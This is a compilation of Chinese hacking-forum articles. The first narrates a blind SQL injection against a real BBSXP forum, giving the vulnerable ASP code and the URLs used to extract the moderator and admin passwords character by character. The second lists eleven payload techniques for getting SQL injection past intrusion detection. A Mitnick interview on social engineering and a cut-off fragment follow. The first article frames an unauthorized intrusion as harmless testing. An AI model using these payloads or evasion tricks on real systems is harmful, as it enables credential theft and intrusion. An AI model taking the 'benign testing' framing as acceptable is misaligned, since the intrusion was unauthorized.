来源:塞迪网社区
漏洞分析
序:
不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.
过程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前台区长密码.
3.利用漏洞,得到后台密码.
4.添加公告,闪人!
开始工作:
到bbsxp官方网站下载最新的bbsxp。
第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp
//*************************源代码***************************************************//
<%
if request.cookies("username")="" then
error("
您还还未登陆社区")
end if
select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已经添加到网络收藏夹!")
case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的无用代码略掉********************************//
看到代码了,首先要注册使用本功能.
然后在这个asp文件中提交的参数有:menu,id就这两个值.
大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值没有过滤直接加入到sql语句中了。
攻击演示
第二步,利用漏洞,得到前台管理员密码.
接到上面的来。我们测试一下这个漏洞是不是存在.
自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,实际上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那个request.cookies("username").他直接就等于你进来的用户名.
提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。
现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。
保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)
我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb的.
提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)
呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
对sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!
执行这条语句的结果就是del一条自己的收藏地址,那么我们的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果为真的话就del了id为576的收藏地址.
看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。
count(*)的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。
当然不成功,是不会del了收藏地址的。
最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。
证明kongweb这个区长的密码为:9位.
好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。
因为正确一个就会del一个收藏地址。
采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
这里说一个mid函数的用法:
mid(字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.
我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错.
本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。
所以,程序半天都跑不出来。也就只有手工猜了.
第一位密码几分种后才猜出来。
当我们提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id为588的记录.
在ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就这样重复的提交和修改,最后得出密码是:kdjkdjkdj
这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.证明第一个字符的asc码大于100。
相反,你也可以这样测试:..asc(mid(userpass,1,1))<105
如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当asc(mid(userpass,1,1))=103
如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系]
这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。
添加收藏也慢得要死。
好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj
第三步:得到后台管理密码;
看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的.
我们要的就是他。我们就要取到这个字段的值.
这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条.
再次利用我们第二步的漏洞.进行猜解.
一样的办法。得到后台密码长度为:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
刚好正确。
想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。
猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出来了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出来了。前两位是bb.
呵呵,你的社会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太对了。再发挥你的社会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。
现在我们用left函数取前5位
说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又对了。呵呵,还有四位,想不出来了。我们又破到了两位.
前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,社会工程学,学得没有别人好啊。
兄弟们都想了好久,最后想到了cool试试吧!!!
最了,最后居然对了。就是cool密码就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool)
现在有前台的账号,和后台的密码。进去发布公告吧!
第四步:发布公告.
进入后台我们发布了记他注意脚本安全的公告,然后闪人!
结束句:
前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉!
我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好!
我们也一样会努力认真的再次对你们的论坛进行测试的。
(字节数 : 7011)
当我们对一个运行IDS系统的服务器进行SQL注射时,我们往往会遇到很大的麻烦,因为我们的注射语句被过滤了,如何规避这种检测手段就成了一门新的技术,本文就对此规避技术提出十一条思路和方法,与大家商戳。
一、 运用编码技术绕过,如URLEncode编码,ASCII编码绕过。
如or 1=1即%6f%72%20%31%3d%31
Test即CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
二、 通过空格绕过,如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or’swords’=‘swords’,由于mssql的松散性,我们可以把or ‘swords’之间的空格去掉,并不影响运行。
三、 运用字符串判断代替经典的or 1=1判断绕过,如or ‘swords’=‘swords’
四、 通过类型转换修饰符N绕过,如or ‘swords’ = N’swords’,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
五、 通过+号拆解字符串绕过,
如 or ‘swords’=‘sw’+’ords’
;EXEC(‘IN’+’SERT INTO ‘+’…..’)
六、 通过LIKE绕过,如or ‘swords’ LIKE ‘sw’
七、 通过IN绕过,如or ‘swords’ IN (‘swords’)
八、 通过BETWEEN绕过, 如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’
九、 通过>或者<绕过,如
or ‘swords’>‘sw’
or ‘swords’<‘tw’
or 1<3
十、 运用注释语句绕过:
用/**/代替空格,如:
UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
十一、 用HEX绕过,一般的IDS都无法检测出来。
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
以上的十一条SQL Injection规避入侵检测技术供您参考。
(字节数 : 1414)
对于关注安全问题的朋友来说,凯文·米特尼克(Kevin Mitnick)的名字应该是大名鼎鼎的了。在今年的Citrix iForum上,这位世界头号黑客谈了他对于安全问题的一些看法,并提出了一些自己的建议。他认为,应付针对敏感信息的社会工程攻击的最好武器是训练有素的人,而不是技术。
米特尼克在疯狂地进行了两年的黑客活动后,在联邦监狱度过了五年的岁月,同时禁止上网八年。现在,他要给曾经攻击过的公司提建议了。
他说:“人们通常习惯于用技术来解决问题,但社会工程学(social engineering)绕过了所有技术,包括防火墙。技术很关键,但我们更应该看重人和方法。社会工程学是一种利用诱惑策略的攻击方式。它不单单是个技术性问题,更是关于人的问题。
“那么黑客们为什么要使用社会工程学方式?因为这比寻找技术漏洞更简单。互联网是如此宽广,而社会工程学无需花费或者花费很低,没什么风险,可以避开所有的防护系统,在任何操作系统上都能进行,不会留下犯罪痕迹,几乎百分之百有效,而且人们还没有普遍意识到这个问题。它可以很简单,也可以很复杂;可以只花几分钟时间,也可以花上好几年。
“苦心积虑的借口或者托辞是社会工程学的关键所在,因为人们需要有合理的理由才能去满足一个请求。
“为了达到目的,黑客们会给自己定义一个身份或者角色,带着和善的面孔去和人联系,慢慢诱惑对方步入自己的圈套。不过他们不会直接下狠手,总是会留下余地,免得一无所获。”
米特尼克还讲述了自己如何利用社会工程学从银行里提取数百万美元以及如何利用摩托罗拉研发部门的一个雇员盗取其手机源代码的经历。
不过,米特尼克表示自己也不能摆脱社会工程学的束缚:今年早些时候他就收到一封“钓鱼式”E-mail,让他泄漏了自己的PayPal帐户信息。
为了对抗社会工程攻击,米特尼克认为必须组建“由人组成的防火墙”,并且抛弃刀枪不入之类的幻想。他对公司的建议是:“建立雇员参与机制,制定简单的规则,确定什么是敏感信息,组建由人组成的防火墙,提高安全意识。”
最后,米特尼克表达了自己的一点期望:“攻击是真实的,威胁也是真实的,所以我希望每个人都行动起来,做点儿什么。”
(字节数 : 1953)
· 作者:watercloud · 来自:xfocus · 更新:2006年11月29日 · · 目录:
如果一个缺陷不能被利用来干“原本”不能干的事(安全相关的),那么就不能被称为安全漏洞,所以安全漏洞必然和漏洞利用紧密联系在一起。 首先必须清除安全漏洞是软件BUG的一个子集,一切软件测试的手段都对安全漏洞发掘实用。现在”黑客“用的各种漏洞发掘手段里有模式可循的有: |